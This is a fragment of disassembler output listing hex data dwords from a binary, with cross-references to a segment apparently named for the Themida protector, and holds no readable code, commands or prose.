		dd 32402F4Ch, 8CC7E011h, 0A3AADABDh, 76021C15h,	0F4D2DC98h
		dd 16441C83h, 3BC2FC44h, 76E1CA13h, 0FC4598DCh,	485264B8h
		dd 24523E0Dh, 9357BD38h, 68B17B60h, 63BC2237h, 262F1C16h
		dd 75E0F528h, 99AF95D9h, 0F9604791h, 95C6195Dh,	777D381Bh
		dd 853223FAh, 63982D4h,	96E0E8FEh, 0E1355EB3h, 0FA44512Bh
		dd 0CC104613h, 0E7CE4879h, 96ABDE6Ch, 5A9B8DBDh, 0C6C2A72Dh
		dd 8AAA5A2h, 7EDC0000h,	0C792A7DAh, 0D475C8Fh, 61F70C3Fh
		dd 0A8ABC0F3h, 903B6FA2h, 91C486CDh, 4477DB7Ch,	0F629272Fh
		dd 0A7DA74E1h, 0C5F5D842h, 0CA240095h, 7AD91516h, 15279DD0h
		dd 0FBA11A2Bh, 0D2EB1C94h, 1D98CB83h, 80077CD9h, 0BC1C06F8h
		dd 2529593Ch, 19261C16h, 0EF4387D0h, 2494C4A7h,	40171C16h
		dd 147BCE12h, 98BDD607h, 557B83B6h, 2530135Dh, 0EA23FA3Eh
		dd 0AFA699DDh, 0FE576C9Fh, 0D1B80C50h, 0BAEACD88h, 0BF23FA1Dh
		dd 0D22569B2h, 40798CA1h, 59FCAB40h, 95BEB1F5h,	0C7104215h
		dd 71DE7983h, 0A0B29A14h, 8E631AEDh, 0E51E4F74h, 0ABD87D6Ah
		dd 0EBC16E4Bh, 1963AC75h, 0BC632632h, 88D89260h, 196CB0F9h
		dd 0FD0F85E8h, 489CE436h, 3F588955h, 5F43816h, 9CB880D2h
		dd 6683CC11h, 0B62C5FEFh, 272C8ACFh, 438CDF23h,	0F25CF912h
		dd 8088BFAEh, 0B5A19CB8h, 0F464579Bh, 0E5C81C60h, 9B729BB5h
		dd 209FADBAh, 3E6E512Fh, 3B9B729Ch, 5DD2E52Eh, 0EE60F5F2h
		dd 9FAFA6BBh, 5753755Bh, 53B3C50Dh, 474C39F5h, 48C7DC0Dh
		dd 0E3A357AEh, 0EB2F1F36h, 4AE48498h, 0B1CAE06Ah, 1F371E68h
		dd 959D0031h, 4A2D7773h, 9CB3132Bh, 0F0DF2330h,	9B72D2BDh
		dd 26095125h, 9B72D2F6h, 3E0E46F3h, 755EA7FAh, 53E6FE1h
		dd 0DB4E1E4Ah, 0F5ED22E7h, 0EC000003h, 8EC89178h, 0FCB1AD5Dh
		dd 0E62113EAh, 9D207CA7h, 20270A54h, 0B23F9C4h,	89CDB4FEh
		dd 0FF3083C7h, 85DACE59h, 0C4EAA508h, 0E3272B2Ch, 0B5FD4790h
		dd 85A2D2h, 1E3025A3h, 132087DAh, 928568E2h, 32AAE4A7h
		dd 64D707EAh, 0C7D49D24h, 252FF96h, 0D7BD014Ah,	5D6FB9B1h
		dd 0AACF9EF9h, 57876A77h, 549D23E7h, 0D1B4FE47h, 9D23E6A1h
		dd 0E660919Eh, 0B977603h, 482B39A5h, 0A2FF7718h, 75BF0815h
		dd 71E7C78Eh, 52679AE3h, 0A8AEAB03h, 6A9E6D5Fh,	0C2E63BBFh
		dd 6A3C5h, 0E177E300h, 96C099AEh, 46064E63h, 0FA5AFE13h
		dd 0A9A1B2C7h, 0D4994276h, 8398CB7Fh, 364B7ED4h, 0E8FD3020h
		dd 49AEE16Dh, 97CCFCDFh, 1DD12400h, 0C7C0E61Ch,	158EB4E4h
		dd 63ACB91Ch, 0BEEED119h, 0BB1C158Eh, 8E9ACAADh, 929F1C15h
		dd 569E1849h, 78739244h, 233EBE2h, 0F9F3E2EDh, 977AC223h
		dd 23F9E367h, 2A0D5764h, 23F9E3FAh, 2AC1F2FFh, 6AECD31Dh
		dd 1E4FA2E6h, 0B09EB7AAh, 78D67F66h, 3CB0E134h,	2B0E5632h
		dd 23F9E3FBh, 0DF0FF200h, 0DC23F9E3h, 1C5586CFh, 0A5ADC333h
		dd 0D1E5745Bh, 5182CB85h, 0FCE9F4D7h, 919E2BDDh, 75D6E85Eh
		dd 3905B93h, 5EF71041h,	4658ACF0h, 11C701C1h, 7891C2E1h
		dd 152771DDh, 0D65A6EF4h, 0E2568713h, 94C6AEFh,	0C5B8FC45h
		dd 5C79BD8Fh, 0F01B68E7h, 0D4E6A4ABh, 6E45DA4Fh, 0E5FE2FF4h
		dd 96163E70h, 0F6498DBDh, 0CD1669ADh, 2293B83h,	0F95B8886h
		dd 6067977Ch, 57641C16h, 54DC326h, 1660F222h, 0B9EAF71Ch
		dd 0BA714921h, 23EEE5Dh, 0E6ED0000h, 367EC8C0h,	84C0A4Fh
		dd 7C6F84B5h, 1C240093h, 9E42280Ah, 26572106h, 5138828Fh
		dd 154802h, 0C4B3F753h,	2400988Fh, 5202563Dh, 614D0821h
		dd 221559F3h, 88DB1F37h, 0FD04F63Fh, 87CA945Dh,	53E6663h
		dd 12480000h, 5BFE1346h, 0A1B3C8FBh, 0F56378ABh, 3C172C5Fh
		dd 4A7DB0Eh, 0FD301A39h, 0B0E36FE8h, 6295BB9Bh,	1346084Dh
		dd 316144AEh, 2E240099h, 6678797Ah, 0B8CFD3F9h,	1C2859E7h
		dd 3E16FD0Ah, 9277CA0Eh, 1C15DC62h, 0C7115A67h,	93BF987Fh
		dd 0E15A4D62h, 0D0DD2400h, 851388Ch, 51041D4Eh,	8CCCB3FDh
		dd 1F3497C8h, 0E1D41836h, 6196DA74h, 6E55331Ch,	0E0769FEAh
		dd 170246DCh, 6378ACEh,	0B3E668EDh, 518F4F1Fh, 16AEC5Ah
		dd 0D9EB0000h, 9B8ED27Ch, 596194BAh, 0EF13B37h,	23F9A2CBh
		dd 9279C3D0h, 0B2A28BC3h, 6F5699Ah, 23F9A1D2h, 0BCA8A73Ah
		dd 5A5E8CECh, 70759FB1h, 2F1B6EDBh, 2F5EFEh, 0E65D0000h
		dd 367EC8C0h, 8EDB0BEEh, 0D3E01C15h, 978E8DA2h,	0C7AE23F9h
		dd 0FA91C290h, 86BAA9EDh, 0EE23F997h, 2078F45Bh, 475A5EAAh
		dd 0ABh, 77CD946h, 6E5A00F4h, 0A2E62FF7h, 62F0674Eh, 819ACB1Eh
		dd 0D17DD8D2h, 6C74A487h, 6C791C16h, 63F2D923h,	5346BAEBh
		dd 15084C02h, 0CADB0E40h, 1C167164h, 2D60EE67h,	0BD070325h
		dd 0FD5003DAh, 115B6823h, 0EE21292Ah, 0DED07AD9h, 0BAC31639h
		dd 0F5423F63h, 91000003h, 475C8FC9h, 0FC114412h, 0ACC1F458h
		dd 6075A8ACh, 0F02457F3h, 79D182CBh, 2C263146h,	0DE72E4F9h
		dd 8FBF96ABh, 0AA8DF75Ch, 2400997Ah, 0D9CACB7Fh, 9F86D07Ah
		dd 5F5296B4h, 0E1125BF9h, 97EC697Eh, 7B7AA814h,	20539C8Bh
		dd 4F7F62AAh, 4C1C15B1h, 0D98F0E3Fh, 9B8ED27Ch,	0EB6194BAh
		dd 0BC005404h, 1A2C3869h, 957CC40Eh, 465B8CBEh,	23F9C0C7h
		dd 24135764h, 23F9BFF2h, 9565EA2Fh, 0E52D7773h,	0BF8ABA9Dh
		dd 0E28F23F9h, 479ADE76h, 39B8CDFEh, 0F62BDDF1h, 8ED505E8h
		dd 0CDDA1C15h, 93DB5184h, 158E80B0h, 89D07D1Ch,	0D45384CDh
		dd 8ED27CD9h, 0C7AAF23Ah, 1C158E97h, 72A28794h,	771C158Eh
		dd 78D2816Ah, 97B0E134h, 555D90BEh, 0AED3733h, 23F9A2C7h
		dd 8C7BBFCCh, 23F9A158h, 46222DC0h, 5A5E8C16h, 2915h, 66781400h
		dd 0D3C656C0h, 4753849Ah, 0FCDF2921h, 23FA4AFDh, 625195A2h
		dd 23FA492Eh, 204C0396h, 5A5E1948h, 0F6EFh, 7CD9EE00h
		dd 8EBEEED1h, 1C391C15h, 75BECB32h, 95153E31h, 7CAC8FC2h
		dd 811C158Eh, 9EE22B74h, 60A4AAABh, 81B6FA0Ch, 9EB87D1Ch
		dd 6DB1A3B5h, 85D0E91Ah, 1F8596C9h, 0E1C15A5h, 0F3230647h
		dd 0F81C15A3h, 5A6FA2EBh, 290F53FBh, 0DEC10B07h, 23F9B297h
		dd 460F4A31h, 0F9AA3363h, 0E22B3823h, 67374B9Eh, 3BF16D5Eh
		dd 4D5AF122h, 84D4BB03h, 0A0BBEBD0h, 0FADD23F9h, 23F9A0CAh
		dd 4E5BC2CFh, 5D44BA1Dh, 1A2657F9h, 0CFB2FCF4h,	2BE08AF2h
		dd 4836956Dh, 0ED57AC9Ch, 0E0735AA4h, 3122376Ah, 62062719h
		dd 6E92C2A6h, 23771h, 4D0B4F00h, 254051Ah, 0B29ABACFh
		dd 66EE6A7Fh, 15351E33h, 400DAEE2h, 0EF043713h,	0A2B7EA68h
		dd 54699CB4h, 0B51A4D01h, 9C38684Bh, 81352400h,	0C5917880h
		dd 2D9027C0h, 82CB140Ah, 4F93BD99h, 0A1B2CBFCh,	0F46176A9h
		dd 0E6AC275Ah, 367EC8C0h, 448064Fh, 0C08CC8B1h,	0E3F8297Ch
		dd 23F997E4h, 2276BAC7h, 6575EF10h, 467718A6h, 0F9BFFD31h
		dd 7DD26523h, 5E92B9F1h, 59FDE45Ah, 0E26C6F7h, 25000001h
		dd 8BC59178h, 8F2E5E41h, 1E2B1C15h, 0CD81D4EDh,	685A7183h
		dd 0C161B0B0h, 4071BA94h, 0D07AD9CCh, 9426388Ch, 0B1E1C4C7h
		dd 0AE1C15FEh, 9EEB8DA1h, 80E6FB2Ch, 6B1C164Ah,	0BB3164EAh
		dd 33B2DDA9h, 0C9FAEF59h, 65A9A5B0h, 6696697Fh,	0E978EC7Bh
		dd 23065099h, 23F9DFDCh, 0FF5105ECh, 0A03768BBh, 36586093h
		dd 0DB265639h, 0E57623F9h, 0A3A86B00h, 0ACF50269h, 20331A62h
		dd 6293E62Ah, 0E080114Dh, 6FE9962Bh, 54EA1E5h, 7C6173BBh
		dd 0B3F9521Eh, 350699Ah, 4016FD47h, 202E2710h, 0DC778CEFh
		dd 3AA77C6Eh, 0E90DC2A7h, 107ECh, 7DDB7F00h, 3224354Ah
		dd 0E26AEAFFh, 96BE9AAFh, 45054E63h, 70FDDE12h,	1F3467E3h
		dd 0D2E71A38h, 8499CC84h, 0E54A7DD1h, 9C68987Bh, 0B1652400h
		dd 0C69178B0h, 8E78A88Bh, 68751C15h, 7ED5EE1Fh,	0D18499CCh
		dd 0F5D87BDDh, 1C158EC5h, 3074BDCAh, 80B093DDh,	7D1C158Eh
		dd 0F6DD2770h, 5ABDEE5Eh, 0D27CD9DFh, 2D5D4088h, 321C158Fh
		dd 8D80F425h, 4B5386C8h, 19492C25h, 941C158Fh, 1C2990C4h
		dd 8EBFEFD2h, 0AFBC1C15h, 42391C66h, 0ED240093h, 0ACA99CE0h
		dd 0FB5A6FA2h, 12200F53h, 0F82F3702h, 74E1FE51h, 0C392A7DAh
		dd 0F977A78Ah, 677428F2h, 0FA0A3A1Dh, 20F28F2h,	0D68275B9h
		dd 9EC347Eh, 28F2F9D9h,	2498C9D6h, 0B2D07F1Ah, 3E7AC8A0h
		dd 4071B1A0h, 0D6202E27h, 267BAB8Eh, 738028F3h,	8BCADF42h
		dd 0D76779C3h, 0E06CE86Ch, 24951CCh, 5189FBEEh,	8BBCE51Bh
		dd 78DCC317h, 0C3D90D4h, 3E9h, 3A69EE00h, 93D781D9h, 5599B5A0h
		dd 185CF462h, 0DC203225h, 9CE06AE9h, 5CA0AAA9h,	2165EF69h
		dd 0E226262Eh, 0A8EC6AEFh, 4EC816Ah, 89000000h,	89512434h
		dd 4C181E1h, 83000000h,	0C8704E9h, 0C895C24h, 39936824h
		dd 2C890000h, 0FBBE5624h, 8341B419h, 0F681FFC6h, 0BD61945h
		dd 8106EEC1h, 0C28CB0F6h, 5EF18906h, 242C8B54h,	6804C483h
		dd 3C49h, 0BB241C89h, 8, 0B89EB01h, 242C8B5Bh, 81E28952h
		dd 4C2h, 4C28300h, 5C241487h, 592434FFh, 4C481h, 6EE90000h
		dd 75FFFA4Eh, 0D2B881F8h, 307EB0Fh, 80E0FFC5h, 0AA7E9D26h
		dd 611F8113h, 59626496h, 5B22BDE5h, 0C04726FFh,	0C10144AAh
		dd 0AC3A14B8h, 972C9470h, 3448C42Ah, 8F30A0AAh,	0C11A35DAh
		dd 61650547h, 462D2DBDh, 60269FAh, 4611614Dh
aVs		db 'ΝΌvι%',0            ; DATA XREF: Themida_:0059806Do
		align 4
		dd 7C59F37Ah, 8	dup(0)
		dd 4DFE900h, 0BB680000h, 0E907EB11h, 0FFF96D2Bh, 0EB124E68h
		dd 6D21E907h, 0F668FFF9h, 0E907EB13h, 0FFF96D17h, 0AD41633Bh
		dd 0A9EBE97h, 6AFE18F4h, 0CD617554h, 2CC0DCB7h,	0D9B4AD53h
		dd 391329BDh, 9371871Bh, 0F6D3E97Dh, 0E7974ADEh, 0A9B0956Ah
		dd 6DFC4113h, 0B9923092h, 0A0492E99h, 9C051442h, 7995708Ah
		dd 7E967341h, 0EAC4CBEAh, 8B9F1D9Ah, 84ED13A6h,	8CDC9F4Ch
		dd 5A6B13A6h, 0E58D722Ah, 594AD877h, 6A000003h,	63E0EFCCh
		dd 13A6809Ch, 4078D13Ah, 217A9872h, 0F4923A0Fh,	589BFB1Bh
		dd 0D9D187E1h, 64A2CDDFh, 0ADFDB1DEh, 0A6836230h, 0BEC73013h
		dd 0C3FDB1B3h, 866200EEh, 0D99346Ch, 0DF021434h, 31AEFEB0h
		dd 16EF03D3h, 290038A1h, 7BF84866h, 1E8B3F5Ch, 0D371C12Ah
		dd 8A3DBF9h, 18B618F6h,	0F40E203Eh, 556BFF17h, 0E30C6078h
		dd 745CEF75h, 358AE34h,	39110000h, 946D8317h, 0EECAE074h
		dd 4B2A40D4h, 0B28DA337h, 0C3290296h, 0FF93AF8Ah, 5DF10FE9h
		dd 0BF536947h, 20B4CCA9h, 0BB40BD6Dh, 1713A9B1h, 424D43D2h
		dd 7D9F1C6Ch, 1313A9B0h, 0B14136B3h, 910E13A9h,	13A9B1EAh
		dd 45AEFF68h, 9C3A9CECh, 13BA1BEh
dword_5F3698	dd 64257876h, 8AA27F0Bh, 67835E78h, 805BF9D3h, 7F912C64h
					; DATA XREF: Themida_:0058261Co
		dd 366E8A65h, 56830989h, 0E3BE5CECh, 94F48FC7h,	98D55EB4h
		dd 163042F5h, 0EE101A39h, 5115D73Dh, 0A955A4F8h, 0D6166A15h
		dd 2C550h, 0AACCA400h, 7270016h, 67815D73h, 0CADEBDD3h
		dd 29452036h, 1D36BC95h, 7C922642h, 0DAF084A2h,	3C52E6FCh
		dd 0B3475Fh, 0B22CD350h, 65AA13A9h, 75424DD6h, 42A003F8h
		dd 9DB99414h, 3A8AE34Ch, 0A9B063BDh, 53D03213h,	13A9B1ACh
		dd 0D0AFC12Ah, 0F9822F67h, 1A13A9B1h, 1CEA2240h, 8DF1293Dh
		dd 0C41C5410h, 34CBF3B3h, 0A1D8710Ch, 1E4h, 1DE25FC1h
		dd 0B913A9B9h, 56693E50h, 5B296179h, 0B416667Eh, 0E71F3B16h
		dd 0A01AE14Ch, 0A27D1442h, 0BACC3586h, 4320BE98h, 99F6192Bh
		dd 0C563C515h, 6742CEEAh, 4E40394Bh, 513A6B3h, 69974A93h
		dd 0A6F64B24h, 0A69A5229h, 85970013h, 142E0AA6h, 25D683BBh
		dd 0A213A69Ah, 56A9D591h, 7FD877E3h, 3Fh, 0E22019Fh, 209227FCh
		dd 94A69C6Dh, 98AFD9F1h, 77C8C35Ah, 0A6E90C1Eh,	753BB808h
		dd 4313A67Ah, 7210A2DAh, 736C7E94h, 13A67C88h, 46762E3Fh
		dd 0D87735B9h, 0E91Eh, 0C6A03E00h, 56C196A8h, 5B296179h
		dd 9A2C6480h, 0F5071FFCh, 0AEE6FEDBh, 0DCB803E0h, 7B1969C2h
		dd 5173859Fh, 42A47D5Ch, 0C89C0E14h, 0F78C09A1h, 63144287h
		dd 9EFE9AFAh, 9E65E232h, 3C1442C8h, 0CAA7C1D3h,	90FF1EB2h
		dd 5230CE1Eh, 0BBD3B03Ch, 0F8D6E883h, 0A42FDD7Bh, 0F242AB13h
		dd 0F06C1390h, 0FDB13A5h, 3680BEF5h, 3042ABFCh,	0BDD9B452h
		dd 0D9F3CF6Dh, 0DFF5D3A1h, 3C527486h, 84C83E61h, 0A5EF323Dh
		dd 64C4AD7Ah, 48D42E0Ch, 7E19516Dh, 0BA32D125h,	0D4D6A19h
		dd 11D87h, 52744C00h, 0AFCFA8BEh, 0F29051Bh, 7286657Bh
		dd 0D1EDC8DEh, 0C59E643Dh, 243ACEEAh, 82982C4Ah, 0E4FA8EA4h
		dd 0A85BEF07h, 0B3847BF8h, 0D5213A9h, 5F7B567Eh, 0C9D8B5CBh
		dd 42A0B74Ch, 61BA2314h, 7F957311h, 3A1D031Fh, 0C9DB4D67h
		dd 7956D6A7h, 0A016ED6Ah, 2BB51442h, 7E9E8E22h,	0F4CD69BAh
		dd 0EA227BD4h, 93273F1Ch, 0CAFF47B9h, 2D9F686h,	0ECC2CDF0h
		dd 0CF0F2A9Ch, 0D8385630h, 64F06240h, 9D387086h, 0A830AD8Bh
		dd 0EA13A6BDh, 0B8933181h, 6813089Ch, 0AB13A602h, 0C22B6CEh
		dd 27C51531h, 5EF9314Bh, 7300864Ch, 8F000000h, 1C6C424Dh
		dd 24DB58BAh, 0B21442A0h, 203E3749h, 0AE13A9B0h, 623F0D45h
		dd 0B121D653h, 44AD13A9h, 644157EBh, 6D5CEA45h,	94ED4313h
		dd 9E65E244h, 3C13A910h, 4EFBC1D3h, 681BF600h, 95C480FDh
		dd 37C1B633h, 248D97DCh, 31BF812h, 647C596Fh, 22FC9A2Ch
		dd 1F31CC04h, 3DF2605h,	0A15890E9h, 0C6A39ACAh,	27041AAEh
		dd 351D70Fh, 0E0000000h, 7E563E8Dh, 7956245Ch, 7D5B2961h
		dd 87612F67h, 88633169h, 8B66346Ch, 8A69376Fh, 94703E76h
		dd 9B74427Ah, 68EE437Bh, 4F34h,	68240489h, 2DB0h, 68241C89h
		dd 679h, 50240489h, 7D6043B8h, 47E4355Ch, 662D34E3h, 254DDB06h
		dd 56E565C3h, 2A31A435h, 0C6895615h, 585EF389h,	24048B54h
		dd 5204C483h, 8BAh, 89C20100h, 24148B1Ah, 0FF04C483h, 81582434h
		dd 4C4h, 2434FF00h, 4C4815Bh, 0E9000000h, 0FFF9685Bh, 69855C3Eh
		dd 1538B82Dh, 0C50307EBh, 0B63AE0FFh, 54F339DBh, 14267C59h
		dd 8E653560h, 74F25AFh,	15D35765h, 0EA384A66h, 0D3325452h
		dd 18973EBDh, 0B42A246Eh, 0BE87DDBh, 0C7000000h, 0B054E63Dh
		dd 91E2D64Ah, 5BF5E84Ch, 0EE9h,	3E32A900h, 25CCEAACh, 0F747CEA4h
		dd 811A4D82h, 6199C3h, 0B70F5000h, 40685ED0h, 66000018h
		dd 59C286BAh, 9E960h, 0BEA50000h, 0C6BC640Ch, 81DBF0BAh
		dd 0C9AFA3CEh, 33FF6158h, 0CEF6CE81h, 81581BDCh, 0B3FF74C6h
		dd 0C0C08179h, 81134BB7h, 0C4BFC6C0h, 0F18B6666h, 0AD66E881h
		dd 0C78149A8h, 6E278FB4h, 0CA816650h, 38F000Bh,	6E8h, 0F00BA200h
		dd 5F9FF202h, 6604EB83h, 0E981F98Bh, 1,	0FFB0850Fh, 0FB8BFFFFh
		dd 17088D8Dh, 6A07EBh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 2FA5F7C3h, 68E0Fh, 0C8810000h, 6C93D61Dh
		dd 1B718D89h, 8BF907E4h, 0E42C51B5h, 0A185C707h, 0B407E42Dh
		dd 0C700006Ah, 0E422B985h, 7, 0D5B5FF00h, 0FF07E402h, 0E4306195h
		dd 53006A07h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 9CB46D18h, 0C08166A2h, 0C7811784h, 96860C2h
		dd 95FF006Ah, 7E40E41h,	59EBC08Bh, 3330B548h, 5C448089h
		dd 86F72B8Bh, 0C8D1DFEBh, 50369DA8h, 89B17D99h,	0FC86FE46h
		dd 80C6F273h, 0C9CCCEDBh, 36B25B43h, 64432DFh, 9952C624h
		dd 2E95F5CFh, 8AFB16Bh,	7A61EDFCh, 0D4B4A57Ah, 0F7A88248h
		dd 311894DDh, 0B9D6D36Dh, 945FA69Fh, 9124A712h,	0A6C2E97Eh
		dd 24E944h, 32B80000h, 35B0h, 7	dup(0)
		dd 2DE90000h, 0EA000005h, 465CF012h, 0A3B94D6Dh, 319ADC7h
		dd 667C1024h, 2DB6F8Bh,	6C8863FCh, 0CAE8C2D8h, 2C422036h
		dd 8DA58298h, 199646F9h, 13A9B762h, 921CABF0h, 0A0CCB330h
		dd 218A1442h, 18F50Fh, 0BB9836C8h, 41799570h, 213B4DA6h
		dd 80962A46h, 85538BA3h, 0C65890A8h, 30F58F54h,	75874227h
		dd 2A62825Bh, 0C09608C6h, 6E3EE530h, 2D59F608h,	0A93D5532h
		dd 385831CFh, 10946BE8h, 0D9421442h, 0B9CFADC7h, 1B310F25h
		dd 1D3B15E3h, 2F572EE5h, 0EC3C5230h, 4923744Eh,	0FF58F32Bh
		dd 5FDC2CC7h, 14421098h, 99BBCD36h, 3E8EA683h, 10985FDCh
		dd 0CD361442h, 0B648F5BBh, 0E1144210h, 0E4B2EA06h, 8962EE08h
		dd 2BF23169h, 7835377Bh, 616F90CCh, 5968E05Bh, 88000000h
		dd 1CD2A926h, 17801442h, 8395AF8Bh, 617956AEh, 20F99729h
		dd 8F5EE00h, 191442A0h,	8B74285Ch, 4CE05C11h, 0Ah, 0AF7AFA6Ch
		dd 4FE98167h, 7D56683Dh, 7E57255Dh, 6D13C657h, 0B64028Ah
		dd 122605D3h, 4DF976DAh, 45D9F9D2h, 0A63A522Fh,	37532ECCh
		dd 7D5264FFh, 0FF17F492h, 1A2CC7h, 3D10925h, 1CBA0A2Ah
		dd 0C6C7273Fh, 65B84DC3h, 0AC7A4052h, 0B17FB7CFh, 0B583BBD5h
		dd 0E984BCDCh, 561A4AC7h, 0D8B2505Ah, 5B0BA8BAh, 8BA78220h
		dd 4E2CB853h, 310C2638h, 8E6B8115h, 0AA882676h,	0B08E5C94h
		dd 692F419Ah, 5FBA65D7h, 0A8FCAE7Dh, 53A07C96h,	0CD055E76h
		dd 3A622233h, 0E05B6BF5h, 4F6945E3h, 719E3Dh, 56C70000h
		dd 59275F7Bh, 0C72B637Dh, 48231A4Ah, 0A782982Ch, 7607E58h
		dd 0E2201CFh, 7B2B3CD6h, 5C0FEC43h, 6C29E0h, 0E7490000h
		dd 42AA956Ah, 0C7A54114h, 85DE79B1h, 7B569E73h,	3395275Fh
		dd 42A0C1B6h, 12248D14h, 0CC041AF8h, 0CD0525FEh, 0D00824FFh
		dd 100C2602h, 0B4531F47h, 0E8847EF0h, 55706379h, 5C4079F5h
		dd 0AABC9104h, 0BE6590Dh, 568A5BEFh, 364C2A7Dh,	0D20A63FEh
		dd 42A05B25h, 0DB8B4814h, 0D2502A0h, 4D283AD5h,	0E05C11B2h
		dd 123h, 30924C00h, 42A0CCB3h, 0F218A14h, 0C7FF19F5h, 0CC041CF9h
		dd 17063E15h, 2B1A1A3Bh, 0A9D91B47h, 0F29DBC50h, 0B9EF6CBCh
		dd 7713A60Fh, 0D244D60Eh, 75C52528h, 0D3EDFF19h, 0F08EDEF6h
		dd 9671FD11h, 6C46687Ah, 0C9DBEFCEh, 6ABAD2AFh,	0C5D7EFCCh
		dd 0B4FB6DFFh, 0AD8CA3B7h, 516946D2h, 736C7E19h, 13A6798Ah
		dd 50CF77FAh, 0B1C75B73h, 0B684BCD4h, 0BB89C1D9h, 0C18FC7DDh
		dd 294CCE4h, 0A679FE85h, 0F6F35C13h, 3F3B772Fh,	71B89735h
		dd 0E71F7898h, 0E99D3A4Ch, 714E9976h, 956C0059h, 0D877386Ah
		dd 97B38E2Ch, 13B2C45Fh, 160h, 6C424D3Ch, 0BEFD9F1Ch, 2A9313A6h
		dd 81FE60F2h, 13A6BFFAh, 0C3DDEF58h, 0A6BE9BE6h, 0F146CC6Eh
		dd 4A109CD7h, 0EE0498F1h, 0F3C1F911h, 8F690716h, 40710671h
		dd 74DD13A6h, 3B15E31Bh, 3A17E51Dh, 8609EA22h, 0CD9692DEh
		dd 0AAC9A699h, 0DB0201B5h, 47AFD82Ah, 9402E458h, 0B6D6AF3Bh
		dd 0DF2C95Dh, 0CAD87795h, 89h, 73444DF3h, 42A001F6h, 0F06DCD14h
		dd 1442A00Bh, 0AC055EC7h, 7D5CFA5Ch, 795E5769h,	156BBD5Fh
		dd 70E274ACh, 23013E54h, 0DA3AD50Dh, 8CCA1A1Dh,	1159194Eh
		dd 2720328Bh, 94429850h, 0A0DB8B52h, 985FDC3Eh,	36944298h
		dd 989D62CDh, 0D0399442h, 0B8F69BBEh, 4548F668h, 4FD3F52Dh
		dd 0FDE25F3Dh, 99EBBDF3h, 4525EA29h, 425833C8h,	0D6369F14h
		dd 94ED0741h, 7E3200h, 46B80000h, 83AF222Ah, 7C55E190h
		dd 7789245Ch, 6C424DA2h, 0B9F59F1Ch, 329B13A6h,	7C0380E2h
		dd 0DA13A6BAh, 0D6E51171h, 0CF1CCF00h, 4C29F7BDh, 0AD8AA034h
		dd 30B05D95h, 3413A601h, 0D9F9D270h, 37A2AC7h, 5B7A0E26h
		dd 0C82A7A34h, 0FE364C2Ah, 0CC585163h, 96144D15h, 4A27F52Dh
		dd 6C43FA32h, 0A40F8138h, 0C154BBA8h, 0FA95B8CAh, 94F264B4h
		dd 66A671EAh, 1B987688h, 1C66E20Bh, 8B5CF059h, 1C6C424Dh
		dd 0A9B7B79Fh, 3C74DD13h, 0E579916Eh, 75936D0Bh, 7690A23Dh
		dd 9C498199h, 21F29749h, 0A49BCB48h, 51BAFC7h, 46D81028h
		dd 0B65815D4h, 77F4107Fh, 2E04F080h, 7A8CE54Eh,	356D8160h
		dd 39718B67h, 6841906Bh, 0B7EF48h, 0C0357D29h, 9CFEBDE9h
		dd 4F0581Fh, 7B8DF62Eh,	1C6C8461h, 538B9F7Eh, 1A5358B8h
		dd 0D8C9E0FCh, 0B18EA4C6h, 0E5E25A2h, 93FC2E04h, 37C023Ah
		dd 0B000000h, 7E563E8Dh, 7956245Ch, 7D5B2961h, 87612F67h
		dd 88633169h, 8B66346Ch, 8A69376Fh, 94703E76h, 9B74427Ah
		dd 83EE437Bh, 1C8904ECh, 5E406824h, 0C890000h, 447F6824h
		dd 1C890000h, 94BA5224h, 5207EB17h, 8B545A59h, 0C481241Ch
		dd 4, 1B5668h, 240C8900h, 0FF08438Fh, 835B2434h, 34FF04C4h
		dd 0C4835924h, 613DE904h, 0FB82FFF9h, 0EB1C78B8h, 0FFC50307h
		dd 0D021FDE0h, 866B7B52h, 0DD3AF077h, 231B1209h, 0BF240B3Eh
		dd 687A003Bh, 935E6703h, 6B141A02h, 0A4E2A510h,	701C141Fh
		dd 6123D62Ah, 3FC45Dh, 1E919443h, 0A594E112h, 6B516D7Eh
		dd 9DE38334h, 0B315F71Fh, 0FCF04E0Fh, 0D28D8D56h, 6A07EB1Dh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 0C7ABC353h, 8166C3F8h, 0F57D8E2h,	8D89D8BFh
		dd 7E41B71h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	34C35141h, 85C7F8A3h, 7E42DA1h,	5B80h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0DAC35545h, 0C76A38DBh
		dd 0E422B985h, 7, 11E900h, 863E0000h, 2915B93Ch, 0DA2A9865h
		dd 6CB4FD50h, 0B8873931h, 5593A320h, 0E15B5FFh,	816607E4h
		dd 89F787F2h, 0E43171B5h, 6195FF07h, 0F07E430h,	6ADBB7h
		dd 0E4195FFh
		db 0E4h
byte_5F425D	db 7, 8Bh, 0C0h		; DATA XREF: Themida_:00584A84o
		dd 30C5EEBh, 6705B597h,	0F3A68B49h, 8DB98452h, 4E6EE657h
		dd 0C2BC00FAh, 0DF979DFBh, 0E5CE52EDh, 51A59968h, 0F7625DE4h
		dd 4DC37C37h, 64DE0831h, 89344936h, 0D7130203h,	7CF0C5EAh
		dd 0EC157A4Ah, 2F3BAA72h, 6CBB1A85h, 80141FCEh,	0A80D5319h
		dd 0F4BA0268h, 267E44EAh, 327264DAh, 0FA4F9659h, 9E8h
		dd 8ABF5200h, 0D3259552h, 8D29B92Eh, 7E40185h, 0C985295Eh
		dd 8107E41Ch, 7180C6h, 1DBD8900h, 3307E409h, 161C8BD2h
		dd 5810Fh, 81660000h, 81E31FF0h, 464456F3h, 0AAC3815Fh
		dd 8B7182D1h, 0E42D598Dh, 0E7F38107h, 8914F510h, 0E422F585h
		dd 161C8907h, 2A6EBF66h, 0ED2DE181h, 0EA8354DBh, 0DE904h
		dd 80830000h, 0EB6B18FEh, 0B96020C2h, 812E0DB1h, 0FF8F2CFAh
		dd 16850FFFh, 89000000h, 0E416618Dh, 27E907h, 787D0000h
		dd 80AB6807h, 589B2216h, 32B05079h, 0FF87E959h,	5853FFFFh
		dd 46364B41h, 61676DDDh, 0C3754C6Ch, 98E1694h, 0EE89Bh
		dd 9FCB0000h, 0F84F8498h, 5935453Bh, 902F20D7h,	0B0D88166h
		dd 0F525FB5h, 685h, 0FCF28100h,	5869D9ACh, 6220C781h, 81660000h
